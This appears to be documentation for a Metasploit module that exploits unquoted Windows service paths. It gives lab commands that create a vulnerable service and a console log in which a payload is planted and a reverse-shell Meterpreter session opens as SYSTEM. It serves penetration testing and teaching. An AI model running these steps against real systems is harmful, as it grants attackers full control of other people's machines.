## Vulnerable Application

Commonly known as Trusted Service Path, or Unquoted Service path, this exploits a behavior of windows service.
When a service calls an executable, a full path is given.  If the full path contains a space,
Windows will attempt to execute a file up to the space, with `.exe` appended.
If the executable isn't found, it keeps going until the full path or the next space (and repeat).

@sumitvgithub had an excellent write-up on this
[here](https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae)

As is documented in that write-up, if the executable is C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe

Windows will attempt to run the following, in order.

1.  C:\Program.exe
2.  C:\Program Files\A.exe
3.  C:\Program Files\A Subfolder\B.exe
4.  C:\Program Files\A Subfolder\B Subfolder\C.exe
5.  C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe

To exploit this, we simply need to go in reverse order to see if we're able to write a payload to those locations.
In Win7+ the deeper folders are more likely to succeed based on default Windows permissions for users.

Then, a service restart is required.  Often a user won't be able to do this,
so the payload is left on disk as a reboot or service restart will trigger the payload to launch.

The service will fail to start as long as the payload remains on disk.  Manual cleanup of the payload
is required.

### Creating a Vulnerable Service

This is sourced from @sumitvgithub's write-up
[here](https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae)

With an administrator command prompt, execute the following:

```
sc create "Some Vulnerable Service" binpath= "C:\Program Files\A Subfolder\B Subfolder\C Sub folder\SomeExecutable.exe" Displayname= "Vuln Service DP" start= auto
mkdir "C:\Program Files\A Subfolder\B Subfolder\C Sub folder"
icacls "C:\Program Files\A Subfolder" /grant "BUILTIN\Users":W
```

If you want to allow the user to restart the service:
```
wmic useraccount get name,sid
sc sdset "Some Vulnerable Service" D:(A;;RPWP;;;place-sid-here)
```

This creates a vulnerable service, with `A Subfolder` being vulnerable to user writes.

## Verification Steps

1. Start msfconsole
2. Get a user shell
3. Do: `use exploits/windows/local/unquoted_service_path`
4. Do: `set session #`
5. Do: `run`
6. You should get an elevated shell.

## Options

## Scenarios

### Windows 10 21H2

```
msf exploit(windows/local/unquoted_service_path) > set session 1
session => 1
msf exploit(windows/local/unquoted_service_path) > set verbose true
verbose => true
msf exploit(windows/local/unquoted_service_path) > set lhost 192.168.159.128
lhost => 1.1.1.1
msf exploit(windows/local/unquoted_service_path) > set lport 9090
lport => 9090
msf exploit(windows/local/unquoted_service_path) > exploit

[*] Started reverse TCP handler on 192.168.159.128:9090 
[*] Finding a vulnerable service...
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[-] Request Error extapi_service_query: Operation failed: Access is denied. Falling back to registry technique
[+] Found potentially vulnerable service: Vuln Service 1 - C:\Program Files\A Subfolder\B Subfolder\C Sub folder\SomeExecutable.exe (LocalSystem)
[*]   Enumerating vulnerable paths
[-]     C:\Program Files\A Subfolder\B Subfolder\ is not writable
[+]     C:\Program Files\A Subfolder\ is writable
[*]       Placing C:\Program Files\A Subfolder\B.exe for Vuln Service 1
[*]       Attempting to write 15872 bytes to C:\Program Files\A Subfolder\B.exe...
[+]       Successfully wrote payload
[*] [Vuln Service 1] Restarting service
[-] [Vuln Service 1] Restarting service failed: Could not open service. OpenServiceA error: FormatMessage failed to retrieve the error.
[-]       Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!
[-]     C:\Program Files\ is not writable
[-]     C:\ is not writable
[+] Found potentially vulnerable service: Vuln Service 2 - C:\Program Files\D Subfolder\E Subfolder\F Sub folder\SomeExecutable.exe (LocalSystem)
[*]   Enumerating vulnerable paths
[-]     C:\Program Files\D Subfolder\E Subfolder\ is not writable
[+]     C:\Program Files\D Subfolder\ is writable
[*]       Placing C:\Program Files\D Subfolder\E.exe for Vuln Service 2
[*]       Attempting to write 15872 bytes to C:\Program Files\D Subfolder\E.exe...
[+]       Successfully wrote payload
[*] [Vuln Service 2] Restarting service
[*] Sending stage (175686 bytes) to 192.168.159.87
[+] [Vuln Service 2] Service started
[+] Deleted C:\Program Files\A Subfolder\B.exe
[+] Deleted C:\Program Files\D Subfolder\E.exe
[*] Meterpreter session 12 opened (192.168.159.128:9090 -> 192.168.159.87:57944) at 2023-01-05 09:46:38 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-81CEH16
OS              : Windows 10 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > 
```
